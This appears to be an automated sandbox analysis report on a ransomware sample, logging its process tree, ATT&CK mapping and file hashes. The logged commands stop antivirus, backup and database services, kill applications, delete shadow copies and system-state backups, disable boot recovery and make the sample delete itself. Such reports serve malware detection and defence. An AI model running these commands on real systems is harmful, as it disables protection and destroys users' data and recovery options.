C:\Windows\system32\net1 stop swi_filter /y
3⤵
PID:2196

C:\Windows\SysWOW64\net.exe
net stop swi_service /y
2⤵
PID:2188

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop swi_service /y
3⤵
PID:2224

C:\Windows\SysWOW64\net.exe
net stop swi_update_64 /y
2⤵
PID:2248

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop swi_update_64 /y
3⤵
PID:2300

C:\Windows\SysWOW64\net.exe
net stop TmCCSF /y
2⤵
PID:2308

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop TmCCSF /y
3⤵
PID:2324

C:\Windows\SysWOW64\net.exe
net stop tmlisten /y
2⤵
PID:2340

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop tmlisten /y
3⤵
PID:2360

C:\Windows\SysWOW64\net.exe
net stop TrueKey /y
2⤵
PID:2408

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop TrueKey /y
3⤵
PID:2480

C:\Windows\SysWOW64\net.exe
net stop TrueKeyScheduler /y
2⤵
PID:2436

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop TrueKeyScheduler /y
3⤵
PID:2508

C:\Windows\SysWOW64\net.exe
net stop TrueKeyServiceHelper /y
2⤵
PID:2532

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop TrueKeyServiceHelper /y
3⤵
PID:2548

C:\Windows\SysWOW64\net.exe
net stop UI0Detect /y
2⤵
PID:2592

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop UI0Detect /y
3⤵
PID:2612

C:\Windows\SysWOW64\net.exe
net stop VeeamBackupSvc /y
2⤵
PID:2608

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamBackupSvc /y
3⤵
PID:2644

C:\Windows\SysWOW64\net.exe
net stop VeeamBrokerSvc /y
2⤵
PID:2696

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamBrokerSvc /y
3⤵
PID:2748

C:\Windows\SysWOW64\net.exe
net stop VeeamCatalogSvc /y
2⤵
PID:2724

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamCatalogSvc /y
3⤵
PID:2776

C:\Windows\SysWOW64\net.exe
net stop VeeamCloudSvc /y
2⤵
PID:2816

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamCloudSvc /y
3⤵
PID:2836

C:\Windows\SysWOW64\net.exe
net stop VeeamDeploymentService /y
2⤵
PID:2860

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamDeploymentService /y
3⤵
PID:2896

C:\Windows\SysWOW64\net.exe
net stop VeeamDeploySvc /y
2⤵
PID:2856

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamDeploySvc /y
3⤵
PID:2928

C:\Windows\SysWOW64\net.exe
net stop VeeamEnterpriseManagerSvc /y
2⤵
PID:2980

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamEnterpriseManagerSvc /y
3⤵
PID:2996

C:\Windows\SysWOW64\net.exe
net stop VeeamMountSvc /y
2⤵
PID:3008

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamMountSvc /y
3⤵
PID:3024

C:\Windows\SysWOW64\net.exe
net stop VeeamNFSSvc /y
2⤵
PID:2052

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamNFSSvc /y
3⤵
PID:2112

C:\Windows\SysWOW64\net.exe
net stop VeeamRESTSvc /y
2⤵
PID:2072

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamRESTSvc /y
3⤵
PID:2196

C:\Windows\SysWOW64\net.exe
net stop VeeamTransportSvc /y
2⤵
PID:2136

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamTransportSvc /y
3⤵
PID:2228

C:\Windows\SysWOW64\net.exe
net stop W3svc /y
2⤵
PID:2304

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop W3svc /y
3⤵
PID:2332

C:\Windows\SysWOW64\net.exe
net stop wbengine /y
2⤵
PID:2356

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop wbengine /y
3⤵
PID:2384

C:\Windows\SysWOW64\net.exe
net stop WRSVC /y
2⤵
PID:2412

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop WRSVC /y
3⤵
PID:2500

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ VEEAMSQL2008R2 /y
2⤵
PID:2508

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ VEEAMSQL2008R2 /y
3⤵
PID:2548

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ VEEAMSQL2008R2 /y
2⤵
PID:2520

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ VEEAMSQL2008R2 /y
3⤵
PID:2556

C:\Windows\SysWOW64\net.exe
net stop VeeamHvIntegrationSvc /y
2⤵
PID:2692

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamHvIntegrationSvc /y
3⤵
PID:2716

C:\Windows\SysWOW64\net.exe
net stop swi_update /y
2⤵
PID:2728

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop swi_update /y
3⤵
PID:2788

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ CXDB /y
2⤵
PID:2812

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ CXDB /y
3⤵
PID:2888

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ CITRIX_METAFRAME /y
2⤵
PID:2896

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ CITRIX_METAFRAME /y
3⤵
PID:2928

C:\Windows\SysWOW64\net.exe
net stop SQL /y
2⤵
PID:2944

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQL /y
3⤵
PID:2972

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ PROD /y
2⤵
PID:3036

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ PROD /y
3⤵
PID:2140

C:\Windows\SysWOW64\net.exe
net stop Zoolz 2 Service /y
2⤵
PID:3052

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Zoolz 2 Service /y
3⤵
PID:2200

C:\Windows\SysWOW64\net.exe
net stop MSSQLServerADHelper /y
2⤵
PID:2224

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLServerADHelper /y
3⤵
PID:2272

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ PROD /y
2⤵
PID:2332

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ PROD /y
3⤵
PID:2384

C:\Windows\SysWOW64\net.exe
net stop msftesql $ PROD /y
2⤵
PID:2396

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop msftesql $ PROD /y
3⤵
PID:2480

C:\Windows\SysWOW64\net.exe
net stop NetMsmqActivator /y
2⤵
PID:2536

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop NetMsmqActivator /y
3⤵
PID:2664

C:\Windows\SysWOW64\net.exe
net stop EhttpSrv /y
2⤵
PID:2604

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop EhttpSrv /y
3⤵
PID:2660

C:\Windows\SysWOW64\net.exe
net stop ekrn /y
2⤵
PID:2752

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ekrn /y
3⤵
PID:2804

C:\Windows\SysWOW64\net.exe
net stop ESHASRV /y
2⤵
PID:2888

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ESHASRV /y
3⤵
PID:2928

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ SOPHOS /y
2⤵
PID:2840

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ SOPHOS /y
3⤵
PID:3004

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ SOPHOS /y
2⤵
PID:2112

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ SOPHOS /y
3⤵
PID:2108

C:\Windows\SysWOW64\net.exe
net stop AVP /y
2⤵
PID:2196

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop AVP /y
3⤵
PID:2216

C:\Windows\SysWOW64\net.exe
net stop klnagent /y
2⤵
PID:2424

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop klnagent /y
3⤵
PID:2500

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ SQLEXPRESS /y
2⤵
PID:2480

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ SQLEXPRESS /y
3⤵
PID:2664

C:\Windows\SysWOW64\net.exe
net stop SQLAgent /y
2⤵
PID:2588

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent /y
3⤵
PID:2676

C:\Windows\SysWOW64\net.exe
net stop SQLEXPRESS /y
2⤵
PID:2900

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLEXPRESS /y
3⤵
PID:2940

C:\Windows\SysWOW64\net.exe
net stop wbengine /y
2⤵
PID:2920

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop wbengine /y
3⤵
PID:3012

C:\Windows\SysWOW64\net.exe
net stop kavfsslp /y
2⤵
PID:3056

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop kavfsslp /y
3⤵
PID:2324

C:\Windows\SysWOW64\net.exe
net stop KAVFSGT /y
2⤵
PID:2216

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop KAVFSGT /y
3⤵
PID:2500

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im zoolz.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:2384

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im agntsvc.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:2660

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im dbeng50.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:2928

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im dbsnmp.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3012

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im encsvc.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:2088

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im excel.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:2220

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im firefoxconfig.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:2788

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im Infopath.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:2912

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im isqlplussvc.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:2500

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im msaccess.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:2464

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im msftesql.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:2252

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im mspub.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:2528

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im mydesktopqos.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:2716

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im mydesktopservice.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:2228

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im mysqld.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:2324

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im mysqld-nt.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3088

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im mysqld-opt.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3112

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im ocautoupds.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3136

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im ocomm.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3160

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im ocssd.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3184

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im onenote.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3208

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im oracle.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3232

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im outlook.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3256

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im powerpnt.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3280

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im sqbcoreservice.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3304

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im sqlagent.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3328

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im sqlbrowser.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3352

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im sqlservr.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3376

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im sqlwriter.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3400

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im steam.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3424

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im synctime.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3448

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im tbirdconfig.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3472

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im thebat.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3496

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im thebat64.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3520

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im thunderbird.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3544

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im visio.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3568

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im winword.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3592

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im wordpad.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3616

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im xfssvccon.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3640

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im tmlisten.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3664

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im PccNTMon.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3688

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im CNTAoSMgr.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3712

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im Ntrtscan.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3736

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im mbamtray.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3760

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im Cmd.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3784

C:\Windows\system32\vssadmin.exe
vssadmin Delete Shadows /all /quiet
2⤵
- Interacts with shadow copies
PID:3808

C:\Windows\system32\vssadmin.exe
vssadmin Delete Shadows /all /quiet
2⤵
- Interacts with shadow copies
PID:3996

C:\Windows\system32\bcdedit.exe
bcdedit.exe /set {default} recoveryenabled No
2⤵
- Modifies boot configuration data using bcdedit
PID:4036

C:\Windows\system32\bcdedit.exe
bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
2⤵
- Modifies boot configuration data using bcdedit
PID:4056

C:\Windows\system32\wbadmin.exe
wbadmin DELETE SYSTEMSTATEBACKUP
2⤵
- Deletes System State backups
- Drops file in Windows directory
PID:4076

C:\Windows\system32\wbadmin.exe
wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest
2⤵
- Deletes System State backups
- Drops file in Windows directory
PID:3124

C:\Windows\System32\Wbem\wmic.exe
wmic.exe SHADOWCOPY DELETE /nointeractive
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:3176

C:\Windows\SysWOW64\Cmd.exe
Cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe"
2⤵
- Deletes itself
PID:232

C:\Windows\SysWOW64\PING.EXE
ping 1.1.1.1 -n 1 -w 3000
3⤵
- Runs ping.exe
PID:3828

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3856

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" C:\Users\Admin\Desktop\MRACReadMe.html
1⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:3416

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3416 CREDAT:340993 /prefetch:2
2⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:3584

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" C:\Users\Admin\Desktop\MRACReadMe.html
1⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:3564

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3564 CREDAT:275457 /prefetch:2
2⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:3796

C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,OpenAs_RunDLL C:\Users\Admin\Desktop\SyncMerge.mpv2.MRAC
1⤵
- Modifies registry class
PID:3588

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\SyncMerge.mpv2.MRAC
2⤵
- Opens file in notepad (likely ransom note)
PID:3340

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" C:\Users\Public\Desktop\MRACReadMe.html
1⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:2012

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2012 CREDAT:275457 /prefetch:2
2⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:1920

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Command-Line Interface

1

T1059

Persistence

Privilege Escalation

Defense Evasion

File Deletion

3

T1107

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Remote System Discovery

1

T1018

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Inhibit System Recovery

4

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{C8AAB481-674D-11EC-AFF5-422B4DF990B1}.dat
MD5
485795e9d64f8c6248efddb4eb6b08a5

SHA1
f4f1930dc08633cc591ef400f6f9a936f5f95c50

SHA256
65f7089f5a660c8280d25cf096f3951939d5407b25a42e7eba51f6841737d9a5

SHA512
0ee27177d182e68a3c328e99b2aae4f0ba16d366cec8a8deea536d8b55541b3cd3453f1ab6e9ae1a60fb50ba36ccce4c45f4be51d43c731e32e1f23e6beb30bc

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Last Active\RecoveryStore.{3F7ADF70-583C-11EC-81FB-5E852A8E65EC}.dat
MD5
570981ee769cfb3ab738e9d8adcfb167

SHA1
fa31d20765dab19e99f2721956e411cca63fbd17

SHA256
c1d430e7637f882c3b4addadc53a2c07cd177b4d2679504a71e09d51e92b66d9

SHA512
d0245561a6d9f08c7bd39367f19ca9579277a712a0708d54d11a410fc5db342ceb620f240f740d7242fb5a23e02cb6d459e93a893f6c3c264d65cc7647395716

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Last Active\RecoveryStore.{3F7ADF70-583C-11EC-81FB-5E852A8E65EC}.dat
MD5
eced9d75e3f8e673031b1a538c891b87

SHA1
3793860274ce5444291f84617bea0b9ee8ab18b6

SHA256
091003946eeed0e13b72106a9c1b6168afe243a904e65e26f24a1e8fb95eaa39

SHA512
6f21d53e00122046f9d42cd78d18159db84f173a42530afe97743c739b8be88ff1d3869d1273aa55654663f7b01e1195f849940b934b687f22aba8f4cd6c347a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Last Active\{D31E6510-674D-11EC-AFF5-422B4DF990B1}.dat
MD5
983d7f5deb6f2f221f6ec4932aa998d6

SHA1
4c35aa188a04c494ecc99fe8fc08a1cd8a98192f

SHA256
27b7109ab38446272deead2359f4ad5f1ec5a8abdc305b84adc60b2b38287aa2

SHA512
0ce0d0f849f39554546239c094cfe8b9232da0e0c6afdb22c74030a005150e0fbbc22ca8175bde9abd80278e236df7457b3ca7bbcca82d819d73a14bd70d5163

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Last Active\{DAF02260-674D-11EC-AFF5-422B4DF990B1}.dat
MD5
6edff50f76d566ef88ef2fe7623f933f

SHA1
58513728fecc1a2c7b67d117ef379c04ef707f2b

SHA256
597cd894cc21c5c1f127c7cee49d0259fbd00cdf888fc16835b9a46980c98a32

SHA512
8318f116dc98919f95cf4b12ef91399f6ddf4bfd1c948b5a2afcbd633bf9a0b3b9b2648e7d0fbfedab603e6549a1b8d9deb5401bdac95aeceaa59de21da96fee

Download Submit
C:\Users\Admin\Desktop\MRACReadMe.html
MD5
6f6fd7dd505611fb2b251f1edfb2e855

SHA1
7fbe00b60eab4f8b7ebba3a38afbda0631a1ed80

SHA256
a2d7319cb35819a3f2ef3450c9cb77cadb8fa378dcf9e88943929dec21b80f67

SHA512
053d4456780fe9103bc1c10a2e3e31bf820b8a84e55677b2bca07aa1c6a7f81c4124beda3836d7e6ddf1dd40201e1603e542e62027e2602f093543fcca2397ff

Download Submit
C:\Users\Admin\Desktop\SyncMerge.mpv2.MRAC
MD5
14753bbde8452e3b50fb965512d3ff62

SHA1
b0daf47190184a4b4c425ce3346586fe15d40f65

SHA256
6be1e4b675429664ce7e57aec365f935b45e5b19789746ad4826739ff43afa36

SHA512
24a3d1f18a2dd0ab6e1a7aea68dfb3f1faf29f5e63025f25b5c6190265a62ec1ce9b1661c7bdf164653ad49cb560c3011b425f0d9a2d8d441d95b43c8e3a00a2

Download Submit
C:\Users\Public\Desktop\MRACReadMe.html
MD5
6f6fd7dd505611fb2b251f1edfb2e855

SHA1
7fbe00b60eab4f8b7ebba3a38afbda0631a1ed80

SHA256
a2d7319cb35819a3f2ef3450c9cb77cadb8fa378dcf9e88943929dec21b80f67

SHA512
053d4456780fe9103bc1c10a2e3e31bf820b8a84e55677b2bca07aa1c6a7f81c4124beda3836d7e6ddf1dd40201e1603e542e62027e2602f093543fcca2397ff

Download Submit
memory/268-57-0x0000000000000000-mapping.dmp

Download
memory/296-64-0x0000000000000000-mapping.dmp

Download
memory/472-110-0x0000000000000000-mapping.dmp

Download
memory/540-58-0x0000000000000000-mapping.dmp

Download
memory/616-91-0x0000000000000000-mapping.dmp

Download
memory/652-88-0x0000000000000000-mapping.dmp

Download
memory/684-103-0x0000000000000000-mapping.dmp

Download
memory/700-104-0x0000000000000000-mapping.dmp

Download
memory/740-56-0x0000000000000000-mapping.dmp

Download
memory/752-60-0x0000000000000000-mapping.dmp

Download
memory/756-87-0x0000000000000000-mapping.dmp

Download
memory/820-55-0x0000000000000000-mapping.dmp

Download
memory/824-98-0x0000000000000000-mapping.dmp

Download
memory/852-89-0x0000000000000000-mapping.dmp

Download
memory/852-59-0x0000000000000000-mapping.dmp

Download
memory/916-106-0x0000000000000000-mapping.dmp

Download
memory/992-71-0x0000000000000000-mapping.dmp

Download
memory/1040-82-0x0000000000000000-mapping.dmp

Download
memory/1064-66-0x0000000000000000-mapping.dmp

Download
memory/1080-65-0x0000000000000000-mapping.dmp

Download
memory/1084-94-0x0000000000000000-mapping.dmp

Download
memory/1092-93-0x0000000000000000-mapping.dmp

Download
memory/1124-62-0x0000000000000000-mapping.dmp

Download
memory/1216-96-0x0000000000000000-mapping.dmp

Download
memory/1240-107-0x0000000000000000-mapping.dmp

Download
memory/1244-83-0x0000000000000000-mapping.dmp

Download
memory/1248-90-0x0000000000000000-mapping.dmp

Download
memory/1256-112-0x0000000000000000-mapping.dmp

Download
memory/1312-109-0x0000000000000000-mapping.dmp

Download
memory/1312-85-0x0000000000000000-mapping.dmp

Download
memory/1372-70-0x0000000000000000-mapping.dmp

Download
memory/1428-81-0x0000000000000000-mapping.dmp

Download
memory/1436-108-0x0000000000000000-mapping.dmp

Download
memory/1456-116-0x0000000000000000-mapping.dmp

Download
memory/1456-67-0x0000000000000000-mapping.dmp

Download
memory/1464-61-0x0000000000000000-mapping.dmp

Download
memory/1464-113-0x0000000000000000-mapping.dmp

Download
memory/1508-54-0x0000000000000000-mapping.dmp

Download
memory/1524-111-0x0000000000000000-mapping.dmp

Download
memory/1532-95-0x0000000000000000-mapping.dmp

Download
memory/1592-84-0x0000000000000000-mapping.dmp

Download
memory/1608-72-0x0000000000000000-mapping.dmp

Download
memory/1648-115-0x0000000000000000-mapping.dmp

Download
memory/1688-100-0x0000000000000000-mapping.dmp

Download
memory/1700-77-0x0000000000000000-mapping.dmp

Download
memory/1720-101-0x0000000000000000-mapping.dmp

Download
memory/1728-117-0x0000000000000000-mapping.dmp

Download
memory/1748-80-0x0000000000000000-mapping.dmp

Download
memory/1752-86-0x0000000000000000-mapping.dmp

Download
memory/1772-74-0x0000000000000000-mapping.dmp

Download
memory/1808-69-0x0000000000000000-mapping.dmp

Download
memory/1808-97-0x0000000000000000-mapping.dmp

Download
memory/1880-102-0x0000000000000000-mapping.dmp

Download
memory/1880-75-0x0000000000000000-mapping.dmp

Download
memory/1896-114-0x0000000000000000-mapping.dmp

Download
memory/1896-63-0x0000000000000000-mapping.dmp

Download
memory/1904-68-0x0000000000000000-mapping.dmp

Download
memory/1920-92-0x0000000000000000-mapping.dmp

Download
memory/1940-99-0x0000000000000000-mapping.dmp

Download
memory/1956-105-0x0000000000000000-mapping.dmp

Download
memory/1964-76-0x0000000000000000-mapping.dmp

Download
memory/2012-78-0x0000000000000000-mapping.dmp

Download
memory/2032-73-0x0000000000000000-mapping.dmp

Download
memory/2040-79-0x0000000000000000-mapping.dmp

Download
memory/4076-118-0x000007FEFC061000-0x000007FEFC063000-memory.dmp

Filesize
8KB

Download

Resubmissions

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads